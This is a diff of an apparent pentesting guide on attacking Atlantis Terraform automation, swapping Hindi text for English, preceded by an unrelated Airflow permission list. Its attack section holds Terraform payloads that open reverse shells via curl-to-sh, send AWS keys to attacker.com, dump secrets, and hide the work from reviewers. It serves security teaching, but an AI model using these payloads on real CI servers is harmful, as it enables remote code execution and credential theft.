\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,109 +4,109 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है।
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
|
||||
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) पर **atlantis releases page** पर जाएं और **download** करें जो आपके लिए उपयुक्त हो।
|
||||
2. अपने **github** उपयोगकर्ता का **personal token** (repo access के साथ) बनाएं।
|
||||
3. `./atlantis testdrive` चलाएं और यह एक **demo repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**।
|
||||
1. आप 127.0.0.1:4141 पर वेब पृष्ठ तक पहुँच सकते हैं।
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
|
||||
### Atlantis Access
|
||||
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps** का समर्थन करता है।\
|
||||
हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **privileged access granted to them** (कम से कम लिखने की अनुमति) की आवश्यकता होती है।\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
|
||||
> [!WARNING]
|
||||
> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis account** एक बहुत ही **दिलचस्प** **compromise करने के लिए** होगा।
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **legitimate** हैं।
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
|
||||
इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को allowlist करें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
|
||||
ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी।
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis **webhooks** को **exposing** करने जा रहा है ताकि git सर्वर इसे जानकारी भेज सके। एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि **क्या आप इसे संदेश भेज सकते हैं**।
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **जहाँ Atlantis होस्ट किया गया है** चलाकर चलाता है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
|
||||
यह आप पर निर्भर करता है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) कैसे प्रदान करते हैं:
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
|
||||
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
|
||||
- यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें)
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहाँ Atlantis चल रहा है।
|
||||
- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहाँ Atlantis चल रहा है।
|
||||
- प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें।
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
|
||||
> [!WARNING]
|
||||
> **Container** जहाँ **Atlantis** **चल रहा है** संभवतः **privileged credentials** को प्रदाताओं (AWS, GCP, Github...) के लिए **contain** करेगा जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
|
||||
#### Web Page
|
||||
|
||||
डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost पर पोर्ट 4141 में चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
|
||||
आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)।
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
|
||||
### Server Configuration
|
||||
|
||||
`atlantis server` के लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
|
||||
- आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
|
||||
- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित किया जाए**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)।
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
मान मानने का **यह क्रम** है:
|
||||
Values are **chosen in this order**:
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं।
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
|
||||
#### Repos Configuration
|
||||
|
||||
कुछ कॉन्फ़िगरेशन **repos के प्रबंधन के तरीके को प्रभावित करते हैं**। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के।
|
||||
1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए।
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)।
|
||||
3. **Default** मान।
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
|
||||
**PR Protections**
|
||||
|
||||
Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (भले ही वह शाखा सुरक्षा में सेट न हो) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
|
||||
यदि `allowed_overrides` True है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**।
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स को निर्दिष्ट कर सकता है** [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) एक **workflow के निष्पादन के लिए।**
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
|
||||
इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **specify** करने की कोई विकल्प नहीं है।
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
|
||||
**Workflow**
|
||||
|
||||
Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) निर्दिष्ट कर सकते हैं, या [**नई कस्टम workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)** बना सकते हैं।** आप यह भी **specify** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच** सकते हैं।\
|
||||
फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।**
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo के **`atlantis.yaml`** फ़ाइल में **specify** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए भी निर्दिष्ट करे जो उपयोग किया जाने वाला है।\
|
||||
> यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**।
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -126,18 +126,19 @@ Repo कॉन्फ़िगरेशन (सर्वर साइड कॉ
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **policies** को योजना के आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग के मामले में शामिल हैं:
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
|
||||
- मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
|
||||
- निर्माण के समय एक संसाधन के गुणों का दावा करना
|
||||
- अनजाने में संसाधन हटाने को पकड़ना
|
||||
- सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना)
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
|
||||
आप इसे [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं।
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) आप Atlantis चलाने के लिए उपयोग कर सकने वाले विकल्प पा सकते हैं:
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
### हमले
|
||||
|
||||
### Attacks
|
||||
|
||||
> [!WARNING]
|
||||
> यदि शोषण के दौरान आपको यह **त्रुटि** मिलती है: `Error: Error acquiring the state lock`
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
|
||||
आप इसे चलाकर ठीक कर सकते हैं:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis योजना RCE - नए PR में कॉन्फ़िगरेशन संशोधन
|
||||
|
||||
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**।
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
|
||||
आप ऐसा [**Atlantis को एक बाहरी डेटा स्रोत लोड करने**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) द्वारा कर सकते हैं। बस `main.tf` फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**स्टेल्थियर अटैक**
|
||||
|
||||
आप इस अटैक को एक **स्टेल्थियर तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Terraform फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप **एक बाहरी संसाधन** लोड कर सकते हैं जिसमें रेव शेल हो:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं।
|
||||
|
||||
- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **PR को मास्टर** में बनाने के बजाय, **2 शाखाएँ** (test1 और test2) बनाएं और एक से दूसरी के लिए **PR बनाएं**। जब आप हमले को पूरा कर लें, तो बस **PR और शाखाओं को हटा दें**।
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
#### Atlantis योजना रहस्यों का डंप
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
आप **terraform द्वारा उपयोग किए गए रहस्यों को डंप** कर सकते हैं `atlantis plan` (`terraform plan`) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - नए PR में कॉन्फ़िगरेशन संशोधन
|
||||
|
||||
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**।
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
|
||||
हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
- **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
|
||||
- संभावित [**शाखा सुरक्षा बायपास**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें
|
||||
- **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें
|
||||
- डिफ़ॉल्ट रूप से, आप इस सुरक्षा को बायपास करने के लिए [**Gitbot टोकन का दुरुपयोग कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
**`terraform apply` को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\
|
||||
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके।
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह कमांड पास कर सकते हैं:
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
आप जो पास कर सकते हैं वे env वेरिएबल हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें।
|
||||
|
||||
#### कस्टम वर्कफ़्लो
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
**malicious custom build commands** को `atlantis.yaml` फ़ाइल में निर्दिष्ट करना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **master** की नहीं।\
|
||||
इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` को **True** पर सेट किया गया है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है।
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
>
|
||||
> यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**।
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -272,97 +286,99 @@ atlantis apply -- -h #Get terraform apply help
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### योजना/लागू सुरक्षा को बायपास करना
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
